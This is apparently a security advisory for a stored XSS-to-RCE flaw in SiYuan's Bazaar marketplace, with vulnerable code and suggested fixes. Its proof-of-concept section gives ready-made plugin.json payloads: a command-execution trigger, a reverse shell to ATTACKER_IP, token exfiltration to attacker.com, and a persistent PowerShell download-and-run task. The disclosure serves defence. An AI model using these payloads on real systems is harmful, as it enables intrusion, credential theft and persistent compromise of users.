GHSA-mvpm-v6q4-m2pf

# Stored XSS to RCE via Unsanitized Bazaar Package Metadata ## Summary SiYuan's Bazaar (community marketplace) renders package metadata fields (`displayName`, `description`) using template literals without HTML escaping. A malicious package author can inject arbitrary HTML/JavaScript into these fields, which executes automatically when any user browses the Bazaar page. Because SiYuan's Electron configuration enables `nodeIntegration: true` with `contextIsolation: false`, this XSS escalates directly to full Remote Code Execution on the victim's operating system — with zero user interaction beyond opening the marketplace tab. ## Affected Component - **Metadata rendering**: `app/src/config/bazaar.ts:275-277` - **Electron config**: `app/electron/main.js:422-426` (`nodeIntegration: true`, `contextIsolation: false`) ## Affected Versions - SiYuan <= 3.5.9 ## Severity **Critical** — CVSS 9.6 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) - CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS) ## Vulnerable Code In `app/src/config/bazaar.ts:275-277`, package metadata is injected directly into HTML templates without escaping: ```typescript // Package name injected directly — NO escaping ${item.preferredName}${item.preferredName !== item.name ? ` <span class="ft__on-surface ft__smaller">${item.name}</span>` : ""} // Package description — title attribute uses escapeAttr(), but text content does NOT <div class="b3-card__desc" title="${escapeAttr(item.preferredDesc) || ""}"> ${item.preferredDesc || ""} <!-- UNESCAPED HTML --> </div> ``` The inconsistency is notable: the `title` attribute is escaped via `escapeAttr()`, but the actual rendered text content is not — indicating the risk was partially recognized but incompletely mitigated. The Electron renderer at `app/electron/main.js:422-426` is configured with: ```javascript webPreferences: { nodeIntegration: true, contextIsolation: false, // ... } ``` This means any JavaScript executing in the renderer process has direct access to Node.js APIs including `require('child_process')`, `require('fs')`, and `require('os')`. ## Proof of Concept ### Step 1: Create a malicious plugin manifest Create a GitHub repository with a valid SiYuan plugin structure. In `plugin.json`: ```json { "name": "helpful-productivity-plugin", "displayName": { "default": "Helpful Plugin<img src=x onerror=\"require('child_process').exec('calc.exe')\">" }, "description": { "default": "Boost your productivity with smart templates" }, "version": "1.0.0", "author": "attacker", "url": "https://github.com/attacker/helpful-productivity-plugin", "minAppVersion": "2.0.0" } ``` ### Step 2: Submit to Bazaar Submit the repository to the SiYuan Bazaar community marketplace via the standard contribution process (pull request to the bazaar index repository). ### Step 3: Zero-click RCE When **any** SiYuan desktop user navigates to **Settings > Bazaar > Plugins**, the package listing renders the malicious `displayName`. The `<img src=x>` tag fails to load, firing the `onerror` handler, which calls `require('child_process').exec('calc.exe')`. **No click is required.** The payload executes the moment the Bazaar page loads and the package card is rendered in the DOM. ### Escalation: Reverse shell ```json { "displayName": { "default": "Helpful Plugin<img src=x onerror=\"require('child_process').exec('bash -c \\\"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\\\"')\">" } } ``` ### Escalation: Data exfiltration (API token theft) ```json { "displayName": { "default": "<img src=x onerror=\"fetch('https://attacker.com/exfil?token='+require('fs').readFileSync(require('path').join(require('os').homedir(),'.config/siyuan/cookie.key'),'utf8'))\">" } } ``` ### Escalation: Silent persistence (Windows) ```json { "displayName": { "default": "<img src=x onerror=\"require('child_process').exec('schtasks /create /tn SiYuanUpdate /tr \\\"powershell -w hidden -ep bypass -c IEX(New-Object Net.WebClient).DownloadString(\\\\\\\"https://attacker.com/payload.ps1\\\\\\\")\\\" /sc onlogon /rl highest /f')\">" } } ``` ## Attack Scenario 1. Attacker creates a legitimate-looking GitHub repository with a SiYuan plugin/theme/template. 2. Attacker submits it to the SiYuan Bazaar via the standard community contribution process. 3. The `plugin.json` manifest contains an XSS payload in the `displayName` or `description` field. 4. When **any** SiYuan desktop user opens the Bazaar tab, the malicious package card renders the unescaped metadata. 5. The injected `<img onerror>` (or `<svg onload>`, `<details ontoggle>`, etc.) fires automatically. 6. JavaScript executes in the Electron renderer with full Node.js access (`nodeIntegration: true`). 7. The attacker achieves arbitrary OS command execution — reverse shell, data exfiltration, persistence, ransomware, etc. **The user does not need to install, click, or interact with the malicious package in any way.** Browsing the marketplace is sufficient. ## Impact - **Full remote code execution** on any SiYuan desktop user who browses the Bazaar - **Zero-click** — payload fires on page load, no interaction required - **Supply-chain attack** — targets the entire SiYuan user community via the official marketplace - Can steal API tokens, session cookies, SSH keys, browser credentials, and arbitrary files - Can install persistent backdoors, scheduled tasks, or ransomware - Affects all platforms: Windows, macOS, Linux ## Suggested Fix ### 1. Escape all package metadata in template rendering (`bazaar.ts`) ```typescript function escapeHtml(str: string): string { return str.replace(/&/g, '&amp;').replace(/</g, '&lt;') .replace(/>/g, '&gt;').replace(/"/g, '&quot;') .replace(/'/g, '&#039;'); } // Apply to ALL user-controlled metadata before rendering ${escapeHtml(item.preferredName)} <div class="b3-card__desc">${escapeHtml(item.preferredDesc || "")}</div> ``` ### 2. Server-side sanitization in the Bazaar index pipeline Sanitize metadata fields at the Bazaar index build stage so malicious content never reaches clients: ```go func sanitizePackageDisplayStrings(pkg *Package) { if pkg == nil { return } for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) } for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) } } ``` ### 3. Long-term: Harden Electron configuration ```javascript webPreferences: { nodeIntegration: false, contextIsolation: true, sandbox: true, } ```